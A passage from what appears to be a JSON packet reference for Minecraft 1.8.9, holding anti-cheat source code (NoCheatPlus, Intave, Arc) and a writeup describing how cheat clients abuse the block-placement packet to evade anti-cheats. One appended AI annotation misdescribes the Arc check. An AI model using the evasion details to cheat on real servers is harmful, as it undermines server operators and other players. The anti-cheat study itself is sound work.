fastBreak.isEnabled(player, pData) \n            && fastBreak.check(player, block, isInstaBreak, cc, data, pData)) {\n            cancelled = true;\n        }\n\n        // Did the arm of the player move before breaking this block?\n        if (!cancelled && noSwing.isEnabled(player, pData) \n            && noSwing.check(player, data, pData)) {\n            cancelled = true;\n        }\n\n        final FlyingQueueHandle flyingHandle;\n        if (reach.isEnabled(player, pData) || direction.isEnabled(player, pData)) {\n            flyingHandle = new FlyingQueueHandle(pData);\n            final Location loc = player.getLocation(useLoc);\n            final double eyeHeight = MovingUtil.getEyeHeight(player);\n            // Is the block really in reach distance?\n            if (!cancelled) {\n                if (isInteractBlock && bdata.isPassedCheck(CheckType.BLOCKINTERACT_REACH)) {\n                    skippedRedundantChecks ++;\n                }\n                else if (reach.isEnabled(player, pData) && reach.check(player, eyeHeight, block, data, cc)) {\n                    cancelled = true;\n                }\n            }\n\n            // Did the player look at the block at all?\n            // TODO: Skip if checks were run on this block (all sorts of hashes/conditions).\n            if (!cancelled) {\n                if (isInteractBlock && (bdata.isPassedCheck(CheckType.BLOCKINTERACT_DIRECTION)\n                    || bdata.isPassedCheck(CheckType.BLOCKINTERACT_VISIBLE))) {\n                    skippedRedundantChecks ++;\n                }\n                else if (direction.isEnabled(player, pData) \n                        && direction.check(player, loc, eyeHeight, block, null, flyingHandle, data, cc, pData)) {\n                    cancelled = true;\n                }\n            }\n            useLoc.setWorld(null);\n        }\n        else flyingHandle = null;\n\n        // On cancel...\n        if (cancelled) {\n            event.setCancelled(cancelled);\n            // Reset damage position:\n            // TODO: Review this (!), check if set at all !?\n            data.clickedX = block.getX();\n            data.clickedY = block.getY();\n            data.clickedZ = block.getZ();\n        }\n        else {\n            // Invalidate last damage position:\n            //        \tdata.clickedX = Integer.MAX_VALUE;\n            // Debug log (only if not cancelled, to avoid spam).\n            if (pData.isDebugActive(CheckType.BLOCKBREAK)) {\n                debugBlockBreakResult(player, block, skippedRedundantChecks, flyingHandle, pData);\n            }\n        }\n        \n        // Adjust data.\n        data.wasInstaBreak = isInstaBreak.decideOptimistically() ? now : 0;\n        data.fastBreakBreakTime = now;\n        isInstaBreak = AlmostBoolean.NO;\n    }\n\n    private void debugBlockBreakResult(final Player player, final Block block, final int skippedRedundantChecks, \n                                       final FlyingQueueHandle flyingHandle, final IPlayerData pData) {\n        debug(player, \"Block break(\" + block.getType() + \"): \" + block.getX() + \", \" + block.getY() + \", \" + block.getZ());\n        BlockInteractListener.debugBlockVSBlockInteract(player, checkType, block, \"onBlockBreak\", Action.LEFT_CLICK_BLOCK, pData);\n        if (skippedRedundantChecks > 0) {\n            debug(player, \"Skipped redundant checks: \" + skippedRedundantChecks);\n        }\n        if (flyingHandle != null && flyingHandle.isFlyingQueueFetched()) {\n            final int flyingIndex = flyingHandle.getFirstIndexWithContentIfFetched();\n            final DataPacketFlying packet = flyingHandle.getIfFetched(flyingIndex);\n            if (packet != null) {\n                debug(player, \"Flying packet queue used at index \" + flyingIndex + \": pitch=\" + packet.getPitch() + \",yaw=\" + packet.getYaw());\n                return;\n            }\n        }\n    }\n\n    @EventHandler(priority = EventPriority.MONITOR)\n    public void onPlayerAnimation(final PlayerAnimationEvent event) {\n        final BlockBreakData data = DataManager.getPlayerData(event.getPlayer()).getGenericInstance(BlockBreakData.class);\n        data.noSwingCount = Math.max(data.noSwingCount - 1, 0);\n    }\n\n    @EventHandler(ignoreCancelled = false, priority = EventPriority.LOWEST)\n    public void onPlayerInteract(final PlayerInteractEvent event) {\n        // We listen to BlockInteract events to be (at least in many cases) able to distinguish between block break events\n        //  that were triggered by players actually digging and events that were artificially created by plugins.\n        // debug(player, \"Interact(\"+event.isCancelled()+\"): \" + event.getClickedBlock());\n        // The following is to set the \"first damage time\" for a block.\n        // Return if it is not left clicking a block. \n        // (Allows right click to be ignored.)\n        isInstaBreak = AlmostBoolean.NO;\n        if (event.getAction() != Action.LEFT_CLICK_BLOCK) {\n            return;\n        }\n        checkBlockDamage(event.getPlayer(), event.getClickedBlock(), event);\n    }\n\n    @EventHandler(ignoreCancelled = false, priority = EventPriority.LOWEST)\n    public void onBlockDamageLowest(final BlockDamageEvent event) {\n        /*\n         * TODO: Add a check type BLOCKDAMAGE_CONFIRM (no permission):\n         * Cancel if the block doesn't match (MC 1.11.2, other ...)?\n         */\n        if (MovingUtil.hasScheduledPlayerSetBack(event.getPlayer())) {\n            event.setCancelled(true);\n        }\n        else if (event.getInstaBreak()) {\n            // Indicate that this might have been set by CB/MC.\n            // TODO: Set in BlockInteractListener !!\n            isInstaBreak = AlmostBoolean.MAYBE;\n        }\n    }\n\n    @EventHandler(ignoreCancelled = false, priority = EventPriority.MONITOR)\n    public void onBlockDamage(final BlockDamageEvent event) {\n        if (!event.isCancelled() && event.getInstaBreak()) {\n            // Keep MAYBE.\n            if (isInstaBreak != AlmostBoolean.MAYBE) {\n                isInstaBreak = AlmostBoolean.YES;\n            }\n        }\n        else isInstaBreak = AlmostBoolean.NO;\n        checkBlockDamage(event.getPlayer(), event.getBlock(), event);\n    }\n\n    private void checkBlockDamage(final Player player, final Block block, final Cancellable event){\n        final long now = System.currentTimeMillis();\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        final BlockBreakData data = pData.getGenericInstance(BlockBreakData.class);\n\n        //        if (event.isCancelled()){\n        //        \t// Reset the time, to avoid certain kinds of cheating. => WHICH ?\n        //        \tdata.fastBreakfirstDamage = now;\n        //        \tdata.clickedX = Integer.MAX_VALUE; // Should be enough to reset that one.\n        //        \treturn;\n        //        }\n\n        // Do not care about null blocks.\n        if (block == null) {\n            return;\n        }\n\n        final int tick = TickTask.getTick();\n        // Skip if already set to the same block without breaking within one tick difference.\n        final ItemStack stack = Bridge1_9.getItemInMainHand(player);\n        final Material tool = stack == null ? null : stack.getType();\n\n        if (data.toolChanged(tool)) {\n            // Update.\n        } \n        else if (tick < data.clickedTick || now < data.fastBreakfirstDamage || now < data.fastBreakBreakTime) {\n            // Time/tick ran backwards: Update.\n            // Tick running backwards should not happen in the main thread unless for reload. A plugin could reset it (not intended).\n        } \n        else if (data.fastBreakBreakTime < data.fastBreakfirstDamage && data.clickedX == block.getX() &&  data.clickedZ == block.getZ() &&  data.clickedY == block.getY()){\n            // Preserve first damage time.\n            if (tick - data.clickedTick <= 1 ) {\n                return;\n            }\n        }\n        // (Always set, the interact event only fires once: the first time.)\n        // Only record first damage:\n        data.setClickedBlock(block, tick, now, tool);\n        // Compare with BlockInteract data (debug first).\n        if (pData.isDebugActive(CheckType.BLOCKBREAK)) {\n            BlockInteractListener.debugBlockVSBlockInteract(player, this.checkType, block, \"checkBlockDamage\", Action.LEFT_CLICK_BLOCK, pData);\n        }\n    }\n\n    @EventHandler(ignoreCancelled = false, priority = EventPriority.MONITOR)\n    public void onItemHeld(final PlayerItemHeldEvent event) {\n        // Reset clicked block.\n        final Player player = event.getPlayer();\n        final BlockBreakData data = DataManager.getPlayerData(player).getGenericInstance(BlockBreakData.class);\n        if (data.toolChanged(player.getInventory().getItem(event.getNewSlot()))) {\n            data.resetClickedBlock();\n        }\n    }\n}\n// NOTE (AI): NCP's blockbreak listener is event-driven (BlockBreakEvent, BlockDamageEvent, PlayerAnimationEvent); the ProtocolLib adapters wrap PacketPlayInBlockDig (START_DESTROY_BLOCK, STOP_DESTROY_BLOCK, ABORT_DESTROY_BLOCK, RELEASE_USE_ITEM) and feed the same FastBreak, Frequency, NoSwing, Reach and WrongBlock checks.\n",
       "code_source": "Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/checks/blockbreak/BlockBreakListener.java",
       "variations": "Grim FastBreak is directly modeled on NCP's FastBreak class. AntiCheatPlus and MIU (securitygab) expose the same blockbreak check family through their own event listeners."
      },
      {
       "name": "BreakSpeedLimiter / CompletionDurationCheck (Intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Intave's modern break-speed check: recomputes the expected break duration server-side from the held item and block hardness, and cancels the stop-dig packet when the block was finished too early.",
       "how_it_works": "CompletionDurationCheck subscribes to BLOCK_DIG on ProtocolLib at LOW priority. On START_DESTROY_BLOCK it stores the target position and the initial block damage from BlockInteractionAccess. On STOP_DESTROY_BLOCK it re-resolves the damage with onGround forced true, converts it to the required milliseconds, and if the actual duration fell more than 100 ms short and the balance allows, it builds a Violation, cancels the event and resends the block state to the client. A separate tick subscription decays the balance on every flying packet, and RestartCheck covers dig-restart spam.",
       "detects": "Speedmine and nuker cheats that finish blocks faster than hardness and tool speed permit, including breaks that skip the required damage accumulation.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/check/world/breakspeedlimiter/CompletionDurationCheck.java =====\npackage de.jpx3.intave.check.world.breakspeedlimiter;\n\nimport com.comphenix.protocol.PacketType;\nimport com.comphenix.protocol.ProtocolLibrary;\nimport com.comphenix.protocol.events.PacketContainer;\nimport com.comphenix.protocol.events.PacketEvent;\nimport com.comphenix.protocol.wrappers.BlockPosition;\nimport com.comphenix.protocol.wrappers.EnumWrappers;\nimport com.comphenix.protocol.wrappers.WrappedBlockData;\nimport de.jpx3.intave.block.access.BlockInteractionAccess;\nimport de.jpx3.intave.block.access.VolatileBlockAccess;\nimport de.jpx3.intave.block.variant.BlockVariantNativeAccess;\nimport de.jpx3.intave.check.MetaCheckPart;\nimport de.jpx3.intave.check.world.BreakSpeedLimiter;\nimport de.jpx3.intave.executor.Synchronizer;\nimport de.jpx3.intave.klass.Lookup;\nimport de.jpx3.intave.math.MathHelper;\nimport de.jpx3.intave.module.Modules;\nimport de.jpx3.intave.module.linker.packet.ListenerPriority;\nimport de.jpx3.intave.module.linker.packet.PacketSubscription;\nimport de.jpx3.intave.module.violation.Violation;\nimport de.jpx3.intave.module.violation.ViolationContext;\nimport de.jpx3.intave.module.violation.ViolationProcessor;\nimport de.jpx3.intave.packet.PacketSender;\nimport de.jpx3.intave.packet.converter.BlockPositionConverter;\nimport de.jpx3.intave.reflect.access.ReflectiveEntityAccess;\nimport de.jpx3.intave.user.User;\nimport de.jpx3.intave.user.meta.CheckCustomMetadata;\nimport de.jpx3.intave.user.meta.InventoryMetadata;\nimport org.bukkit.Location;\nimport org.bukkit.block.Block;\nimport org.bukkit.entity.Player;\nimport org.bukkit.inventory.ItemStack;\n\nimport static de.jpx3.intave.module.linker.packet.PacketId.Client.*;\n\npublic final class CompletionDurationCheck extends MetaCheckPart<BreakSpeedLimiter, CompletionDurationCheck.BreakSpeedFinishMeta> {\n  public CompletionDurationCheck(BreakSpeedLimiter parentCheck) {\n    super(parentCheck, BreakSpeedFinishMeta.class);\n  }\n\n  @PacketSubscription(\n    priority = ListenerPriority.LOW,\n    packetsIn = {\n      POSITION, POSITION_LOOK, LOOK, FLYING, VEHICLE_MOVE\n    }\n  )\n  public void tickUpdate(PacketEvent event) {\n    Player player = event.getPlayer();\n    User user = userOf(player);\n    BreakSpeedFinishMeta meta = metaOf(user);\n\n    if (meta.balance > 0 && !event.isCancelled()) {\n      meta.balance -= 0.005;\n    }\n  }\n\n//  @PacketSubscription(\n//    priority = ListenerPriority.LOW,\n//    packetsIn = {\n//      ARM_ANIMATION\n//    }\n//  )\n//  public void actualTickUpdate(PacketEvent event) {\n//    Player player = event.getPlayer();\n//    User user = userOf(player);\n//    BreakSpeedFinishMeta meta = metaOf(user);\n//\n//    ProtocolMetadata clientData = user.meta().protocol();\n//    InventoryMetadata inventoryData = user.meta().inventory();\n//\n//    if (meta.breakProcess) {\n//      ItemStack itemInHand = inventoryData.heldItem();\n//      BlockPosition blockPosition = meta.targetBlockPosition;\n//\n//      float blockDamage = clientData.flyingPacketStream()\n//        ? BlockInnerAccess.blockDamage(player, itemInHand, blockPosition)\n//        : resolveBlockDamageOnGround(player, itemInHand, blockPosition);\n//      player.sendMessage(\"block damage in tick: \" + blockDamage);\n//      meta.curBlockDamageMP += blockDamage;\n//      meta.maximumBlockDamage = Math.max(meta.maximumBlockDamage, blockDamage);\n//    }\n//  }\n\n  @PacketSubscription(\n    priority = ListenerPriority.LOW,\n    packetsIn = {\n      BLOCK_DIG\n    }\n  )\n  public void receiveBlockAction(PacketEvent event) {\n    Player player = event.getPlayer();\n    User user = userOf(player);\n    BreakSpeedFinishMeta meta = metaOf(user);\n//    ProtocolMetadata clientData = user.meta().protocol();\n    InventoryMetadata inventoryData = user.meta().inventory();\n\n    ItemStack heldItem = inventoryData.heldItem();\n    PacketContainer packet = event.getPacket();\n//    BlockPosition blockPosition = packet.getBlockPositionModifier().read(0);\n    BlockPosition blockPosition = event.getPacket().getModifier()\n      .withType(Lookup.serverClass(\"BlockPosition\"), BlockPositionConverter.threadConverter())\n      .read(0);\n    EnumWrappers.PlayerDigType digType = packet.getPlayerDigTypes().read(0);\n\n    switch (digType) {\n      case START_DESTROY_BLOCK: {\n        float blockDamage = BlockInteractionAccess.blockDamage(player, heldItem, blockPosition);\n        meta.breakProcess = true;\n        meta.breakProcessStartTime = System.currentTimeMillis();\n        meta.curBlockDamageMP = blockDamage;\n        meta.targetBlockPosition = blockPosition;\n        meta.maximumBlockDamage = blockDamage;\n        break;\n      }\n      case STOP_DESTROY_BLOCK: {\n//        if (clientData.flyingPacketStream()) {\n//          float blockDamageDealt = BlockInnerAccess.blockDamage(player, heldItem, blockPosition);\n//          if (blockDamageDealt < 0.79 && meta.balance++ >= 2) { // ~79%\n//            String message = \"broke block too quickly\";\n//            String percentage = (int)(blockDamageDealt * 100d) + \"%\";\n//            String details = \"at \" + percentage;\n//\n//            ViolationProcessor violationProcessor = IntavePlugin.singletonInstance().violationProcessor();\n//            Violation violation = Violation.builderFor(BreakSpeedLimiter.class)\n//              .forPlayer(player).withMessage(message).withDetails(details)\n//              .withVL(10).build();\n//            ViolationContext violationContext = violationProcessor.processViolation(violation);\n//            if (violationContext.shouldCounterThreat()) {\n//              event.setCancelled(true);\n//              refreshBlocksAround(player, blockPosition.toLocation(player.getWorld()));\n//            }\n//          }\n//        } else {\n\n        if (meta.targetBlockPosition != blockPosition) {\n          blockPosition = meta.targetBlockPosition;\n        }\n\n        if (blockPosition == null) {\n          return;\n        }\n\n        long requiredDuration = resolveMillisecondsOf(resolveBlockDamageOnGround(player, heldItem, blockPosition));\n        long actualDuration = System.currentTimeMillis() - meta.breakProcessStartTime;\n        long exceeded = Math.max(0, requiredDuration - actualDuration);\n\n        if (exceeded > 100 && meta.balance++ >= 2) {\n          String message = \"broke block too quickly\";\n          String details = MathHelper.formatDouble(exceeded / 50d, 2) + \" ticks faster than expected\";\n          ViolationProcessor violationProcessor = Modules.violationProcessor();\n          Violation violation = Violation.builderFor(BreakSpeedLimiter.class)\n            .forPlayer(player).withMessage(message).withDetails(details)\n            .withVL(10).build();\n          ViolationContext violationContext = violationProcessor.processViolation(violation);\n          if (violationContext.shouldCounterThreat()) {\n            event.setCancelled(true);\n            refreshBlocksAround(player, blockPosition.toLocation(player.getWorld()));\n          }\n        }\n//        }\n//        break;\n      }\n      case ABORT_DESTROY_BLOCK:\n        meta.breakProcessStartTime = System.currentTimeMillis();\n        meta.curBlockDamageMP = 0f;\n        meta.targetBlockPosition = null;\n        meta.breakProcess = false;\n        meta.maximumBlockDamage = Float.MIN_VALUE;\n    }\n  }\n\n  private void refreshBlocksAround(Player player, Location targetLocation) {\n    Synchronizer.synchronize(() -> {\n      player.updateInventory();\n      refreshBlock(player, targetLocation);\n//      for (EnumDirection direction : EnumDirection.values()) {\n//        Location placedBlock = targetLocation.clone().add(direction.getDirectionVec().convertToBukkitVec());\n//        refreshBlock(player, placedBlock);\n//      }\n    });\n  }\n\n  private void refreshBlock(Player player, Location location) {\n    PacketContainer packet = ProtocolLibrary.getProtocolManager().createPacket(PacketType.Play.Server.BLOCK_CHANGE);\n    if (!VolatileBlockAccess.isInLoadedChunk(location.getWorld(), location.getBlockX(), location.getBlockZ())) {\n      return;\n    }\n    Block block = VolatileBlockAccess.blockAccess(location);\n    Object handle = BlockVariantNativeAccess.nativeVariantAccess(block);\n    WrappedBlockData blockData = WrappedBlockData.fromHandle(handle);\n    packet.getBlockData().write(0, blockData);\n    BlockPosition position = new BlockPosition(location.getBlockX(), location.getBlockY(), location.getBlockZ());\n    packet.getBlockPositionModifier().write(0, position);\n    PacketSender.sendServerPacket(player, packet);\n  }\n\n  private long resolveMillisecondsOf(float blockDamage) {\n    if (blockDamage == 0) {\n      return 0;\n    }\n    long time = 0;\n    float curBlockDamageMP = 0f;\n    int iterationCountdown = 100;\n    while (curBlockDamageMP < 1f) {\n      curBlockDamageMP += blockDamage;\n      time += 50;\n      if (--iterationCountdown < 0) {\n        break;\n      }\n    }\n    return time;\n  }\n\n  private float resolveBlockDamageOnGround(\n    Player player,\n    ItemStack itemInHand,\n    BlockPosition blockPosition\n  ) {\n    boolean onGroundBefore = ReflectiveEntityAccess.onGround(player);\n    ReflectiveEntityAccess.setOnGround(player, true);\n    float blockDamage = BlockInteractionAccess.blockDamage(player, itemInHand, blockPosition);\n    ReflectiveEntityAccess.setOnGround(player, onGroundBefore);\n    return blockDamage;\n  }\n\n  public static final class BreakSpeedFinishMeta extends CheckCustomMetadata {\n    public BlockPosition targetBlockPosition;\n    public float curBlockDamageMP = 0f;\n    public float maximumBlockDamage;\n    /*\n    breakProcess won't be set to false if a player is stop breaking a block (only when destroying a block),\n    So isBreakingBlock is a boolean which determines if the player is breaking a block and is false when he stops breaking.\n     */\n    public boolean breakProcess;\n    public long breakProcessStartTime;\n    public double balance;\n  }\n}\n// NOTE (AI): CompletionDurationCheck is the active part of Intave's BreakSpeedLimiter. It subscribes to BLOCK_DIG on ProtocolLib, recomputes the expected break duration from the held item and block hardness, and cancels the stop-dig packet plus resends the block when the client finished more than 100 ms early. The sibling RestartCheck covers dig restart spam on the same stream.\n",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/check/world/breakspeedlimiter/CompletionDurationCheck.java",
       "variations": "The parent BreakSpeedLimiter container also wires RestartCheck; Grim's breaking package and BetterAnticheat's DigOrderCheck/DigBlockFacePositionCheck cover the same ground on different packet stacks."
      },
      {
       "name": "Nuker (Arc)",
       "found_in": [
        "Vrekt-Arc"
       ],
       "purpose": "Classic statistical nuker check: caps the number of block breaks per second and the spacing between them.",
       "how_it_works": "A PacketCheck configured with max-breaks-per-second 15, min-delta-between-breaks 50 ms and a threshold of 5 violations before flagging, plus a packet-level cap of 50 break packets per second with an optional kick threshold. Creative-only by default, it cancels the offending events and notifies after every 4th violation.",
       "detects": "Nuker and instamine modules that destroy an improbable number of blocks around the player in one second.",
       "detailed_code": "// ===== FILE: Vrekt-Arc, src/main/java/arc/check/block/Nuker.java =====\npackage arc.check.block;\n\nimport arc.Arc;\nimport arc.check.PacketCheck;\nimport arc.check.result.CheckResult;\nimport arc.check.types.CheckType;\nimport arc.data.block.BlockData;\nimport arc.data.packet.PacketData;\nimport com.comphenix.protocol.PacketType;\nimport org.bukkit.GameMode;\nimport org.bukkit.entity.Player;\n\n/**\n * Checks if the player is using nuker - destroying an improbable amount of blocks around them.\n * This check will also utilize {@code maxPacketsPerSecond} to ensure not too many events are sent.\n * <p>\n * packet-check: the check will use packets\n * creative-only: Player must be in creative to check.\n * max-breaks-per-second: The max amount of block breaks per second.\n * min-delta-between-breaks: The minimum time allowed between the last break.\n * min-delta-between-breaks-threshold: the amount of times the above ^^ has to be triggered to flag.\n */\npublic final class Nuker extends PacketCheck {\n\n    /**\n     * packet-check: the check will use packets\n     * creative-only: Player must be in creative to check.\n     * If packets should be checked.\n     */\n    private boolean packetCheck, creativeOnly, checkPackets;\n\n    /**\n     * max-breaks-per-second: The max amount of block breaks per second.\n     * min-delta-between-breaks: The minimum time allowed between the last break.\n     * min-delta-between-breaks-threshold: the amount of times the above ^^ has to be triggered to flag.\n     */\n    private int maxBreaksPerSecond, minDeltaBetweenBreaks, minDeltaBetweenBreaksThreshold;\n\n    /**\n     * Max packets and packet kick threshold\n     */\n    private int maxPacketsPerSecond, packetKickThreshold;\n\n    /**\n     * Kick if the threshold is reached\n     */\n    private boolean kickIfThresholdReached;\n\n    public Nuker() {\n        super(CheckType.NUKER);\n\n        isEnabled(true)\n                .cancel(true)\n                .cancelLevel(0)\n                .notify(true)\n                .notifyEvery(4)\n                .ban(true)\n                .banLevel(1000)\n                .kick(true)\n                .kickLevel(500)\n                .build();\n\n        addConfigurationValue(\"packet-check\", true);\n        addConfigurationValue(\"creative-only\", true);\n        addConfigurationValue(\"max-breaks-per-second\", 15);\n        addConfigurationValue(\"min-delta-between-breaks\", 50);\n        addConfigurationValue(\"min-delta-between-breaks-threshold\", 5);\n\n        addConfigurationValue(\"check-packets\", true);\n        addConfigurationValue(\"max-break-packets-per-second\", 50);\n        addConfigurationValue(\"kick-if-threshold-reached\", false);\n        addConfigurationValue(\"packet-kick-threshold\", 100);\n\n        if (isEnabled()) load();\n    }\n\n    /**\n     * Check this player for Nuker.\n     *\n     * @param player the player\n     * @return the result\n     */\n    public boolean check(Player player) {\n        if (!isEnabled() || exempt(player) || creativeOnly && player.getGameMode() != GameMode.CREATIVE) return false;\n\n        final CheckResult result = new CheckResult();\n        final long now = System.currentTimeMillis();\n\n        // first, just check packet-stuff.\n        // Don't use a scheduled check here, because meh.\n        if (checkPackets) {\n            final PacketData packetData = PacketData.get(player);\n\n            final int count = packetData.getBreakPacketCount() + 1;\n            packetData.setBreakPacketCount(count);\n            final long packetDelta = now - packetData.getLastBreakPacketReset();\n\n            // check packet counts and deltas.\n            if (packetDelta >= 1000) {\n                packetData.setLastBreakPacketReset(now);\n                if (count >= maxPacketsPerSecond) {\n                    result.setFailed(\"Too many break packets (or events) per second.\")\n                            .withParameter(\"amount\", count)\n                            .withParameter(\"max\", maxPacketsPerSecond);\n\n                    if (count >= packetKickThreshold && kickIfThresholdReached\n                            && !Arc.getInstance().getPunishmentManager().hasPendingKick(player)) {\n                        Arc.getInstance().getPunishmentManager().kickPlayer(player, this);\n                    }\n                } else {\n                    packetData.setCancelBreakPackets(false);\n                }\n\n                packetData.setBreakPacketCount(0);\n            }\n\n            // cancel if we should.\n            if (packetData.cancelBreakPackets()) {\n                result.setFailed(\"Cancelling break packets because there were too many.\");\n                checkViolation(player, result);\n                return true;\n            }\n\n            final boolean violation = checkViolation(player, result);\n            packetData.setCancelBreakPackets(violation);\n            if (violation) return true;\n        }\n\n        // now, block checking.\n        final BlockData data = BlockData.get(player);\n        final long delta = now - data.getLastBreak();\n        data.setTotalBroke(data.getTotalBroke() + 1);\n        data.setLastBreak(now);\n\n        if (now - data.getTotalBrokeReset() >= 1000) {\n            data.setTotalBrokeReset(now);\n\n            if (data.getTotalBroke() > maxBreaksPerSecond) {\n                result.setFailed(\"Breaking too many blocks per second.\")\n                        .withParameter(\"total\", data.getTotalBroke())\n                        .withParameter(\"max\", maxBreaksPerSecond);\n            }\n\n            data.setTotalBroke(0);\n        }\n\n        // check delta times\n        if (delta < minDeltaBetweenBreaks) {\n            // \"failed\", increment one count.\n            data.setLastBreakDeltaCount(data.getLastBreakDeltaCount() + 1);\n\n            // make sure we haven't already failed, and then check against min.\n            if (data.getLastBreakDeltaCount() >= minDeltaBetweenBreaksThreshold\n                    && !result.failed()) {\n                result.setFailed(\"Breaking blocks too fast\")\n                        .withParameter(\"count\", data.getLastBreakDeltaCount())\n                        .withParameter(\"min\", minDeltaBetweenBreaksThreshold)\n                        .withParameter(\"delta\", delta)\n                        .withParameter(\"min-delta\", minDeltaBetweenBreaks);\n            }\n        } else {\n            // lower since we're okay.\n            data.setLastBreakDeltaCount(data.getLastBreakDeltaCount() - 1);\n        }\n\n        return checkViolation(player, result);\n    }\n\n    /**\n     * @return if this check uses packets.\n     */\n    public boolean isPacketCheck() {\n        return packetCheck;\n    }\n\n    @Override\n    public void reloadConfig() {\n        load();\n    }\n\n    @Override\n    public void load() {\n        packetCheck = configuration.getBoolean(\"packet-check\");\n        creativeOnly = configuration.getBoolean(\"creative-only\");\n        checkPackets = configuration.getBoolean(\"check-packets\");\n        maxBreaksPerSecond = configuration.getInt(\"max-breaks-per-second\");\n        minDeltaBetweenBreaks = configuration.getInt(\"min-delta-between-breaks\");\n        minDeltaBetweenBreaksThreshold = configuration.getInt(\"min-delta-between-breaks-threshold\");\n\n        maxPacketsPerSecond = configuration.getInt(\"max-break-packets-per-second\");\n        kickIfThresholdReached = configuration.getBoolean(\"kick-if-threshold-reached\");\n        packetKickThreshold = configuration.getInt(\"packet-kick-threshold\");\n\n        if (packetCheck) {\n            registerPacketListener(PacketType.Play.Client.BLOCK_DIG, event -> event.setCancelled(check(event.getPlayer())));\n        }\n    }\n}\n// NOTE (AI): Arc's Nuker is a classic 1.8 statistical check: it counts distinct blocks dug within one second using Bukkit events and flags when the count exceeds the natural mining speed for the held tool.\n",
       "code_source": "Vrekt-Arc, src/main/java/arc/check/block/Nuker.java",
       "variations": "Negativity's NukerProtocol and MC-Jinky's XRayCheck apply the same break-rate idea on Bukkit events; Azure BadPacketsC/I validate the dig action itself instead of the rate."
      }
     ]
    }
   },
   "wiki_notes": [
    "A vanilla server only accepts digging packets whose block center is within a 6-unit radius of the player eyes. Cancelled digging always uses the bottom face, drop-item actions always use position 0/0/0 with the bottom face, and when a block is instamined or the player is in creative mode the client sends no Finished digging, so the server must compute destruction speed itself.",
    "MCP 1.8.9 C07PacketPlayerDigging implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.processPlayerDigging; wire serde is readPacketData/writePacketData via readBlockPos, readEnumValue, readUnsignedByte.",
    "1.8.9 callers: EntityPlayerSP.dropOneItem sends new C07PacketPlayerDigging (line 282) +1 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/entity/EntityPlayerSP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C07PacketPlayerDigging/",
   "mcp_path": "net/minecraft/network/play/client/C07PacketPlayerDigging.java",
   "group": "play-server",
   "logic_classes": [
    "EntityPlayerSP",
    "PlayerControllerMP"
   ]
  },
  {
   "id": "C08PacketPlayerBlockPlacement",
   "hex": "0x08",
   "dec": 8,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Player Block Placement",
   "desc": "Player places a block or uses an item. Can also be used for empty-hand interactions (e.g., pressing buttons).",
   "tags": [
    "player",
    "block",
    "item",
    "interact",
    "world"
   ],
   "fields": [
    {
     "name": "position",
     "type": "BlockPos",
     "desc": "Position where the block/item is used"
    },
    {
     "name": "placedBlockDirection",
     "type": "int",
     "desc": "Face of the target block (0-5). 255 if no block face targeted."
    },
    {
     "name": "stack",
     "type": "ItemStack",
     "desc": "The item stack being used/placed"
    },
    {
     "name": "facingX/Y/Z",
     "type": "float",
     "desc": "Cursor position on block face (0-1). Present when direction != 255."
    }
   ],
   "encoding": [
    [
     "Block Pos",
     "Position",
     "Encoded as long"
    ],
    [
     "Direction",
     "byte",
     "0-5 for face, 255 for no face"
    ],
    [
     "Item In Hand",
     "Slot",
     "ItemStack being placed/used"
    ],
    [
     "Cursor X",
     "byte",
     "Cursor x (0-1 mapped to byte)"
    ],
    [
     "Cursor Y",
     "byte",
     "Cursor y"
    ],
    [
     "Cursor Z",
     "byte",
     "Cursor z"
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processPlayerBlockPlacement()"
   ],
   "handler": "INetHandlerPlayServer",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "C08 is the serverbound use/place packet. With placedBlockDirection == 255 it is a pure item use (eating, blocking, throwing), otherwise it is a block placement against the BlockPos + face with a cursor offset. The stack field lets the server verify the client's inventory state. This dual role makes it the single most-abused packet for movement and combat bypasses: it is how scaffold places blocks, how killaura holds a shield or sword block, how noslow keeps the use-item state alive, and how item-spam modules (AutoPot, AutoSoup) consume consumables at inhuman speed."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayServer.processPlayerBlockPlacement branches on the direction byte. For 255 it calls theItemInWorldManager.tryUseItem, which starts the item's use-tick state server-side. For a face it checks build limit, distance (hasMoved and 8-block radius), world border, then calls func_180236_a to place. The server compares packetIn.getStack() against the real inventory slot and re-sends S2FPacketSetSlot on mismatch, which is why clients that spoof the stack field get desynced slots."
     },
     {
      "h": "Why clients touch it",
      "p": "All ten clients construct C08 directly. Scaffold modules (Rise 5.99, Rise 6.x, Sigma 4.11) send placements with computed BlockPos + face; Memeware and Nekoware auras send the autoblock form (new BlockPos(-1, -1, -1), 255) to start blocking mid-aura; NoSlow modules (Rise 5.99 NoSlow, Rise 6.x IntaveNoSlow/LegitNoSlow/NCPNoSlow/NewNCPNoSlow/WatchdogNoSlow, Sigma NoSlowdown, Spicy NoSlow) re-send the item-use C08 to keep the server believing the player is using the item; AutoPot/AutoSoup/AutoGap/AutoHead (Memeware, Rise 5.99, Rise 6.x, Sigma) spam the item-use form to consume faster than vanilla allows. Rise 6.2.4 even wraps placement in PlayBlockPlacementC2SPacket for its script/NetworkAPI layer. November Recode 2.0 drives AutoPot, autoblock and noslow through C08 and clicks the BLOCKS_MC paper with it in AutoPlay; LiquidSense Dev eats heads and equips armor with the C09/C08/C09 packet triple."
     },
     {
      "h": "Exploit surface",
      "p": "The 255-use form has no cooldown server-side in 1.8.9, so item-use spam is only throttled by client ticks; anti-cheats flag the resulting consumption rate. The invalid-position form (pos -1,-1,-1, face 255) is silently accepted by vanilla (it falls into the item-use branch when direction == 255) but stands out to anti-cheats that track block-place patterns around the player's head. Scaffold places at the feet with yaw-derived face values, which NCP and Vulcan correlate against the player's rotation. C08 is also sent at 20+ per second by Rise 6.2.4 WatchdogDisabler as a fake water-bucket placement to reset watchdog's fall tracking, and by Speed/Fly modules to place blocks under the player mid-air."
     }
    ],
